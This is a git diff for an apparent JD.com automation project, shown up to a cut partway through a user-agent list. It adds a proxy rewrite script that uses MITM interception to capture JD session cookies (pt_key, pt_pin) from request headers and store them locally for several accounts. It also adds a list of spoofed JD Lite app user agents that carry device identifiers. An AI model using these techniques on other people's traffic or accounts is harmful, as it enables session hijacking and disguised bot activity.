diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..cc6505d --- /dev/null +++ b/.gitattributes @@ -0,0 +1,3 @@ +* text eol=lf +*.png -text +*.jpg -text \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4fdab78 --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +/node_modules/ +/yarn.lock +/.idea +/.history +/box.dat +/CookieSet.json +/jdCookie.js +/logs +/JD_DailyBonus.js +/result.txt \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000..228dfb7 --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000..725f189 --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;2.1.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|2.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.1.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.1.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 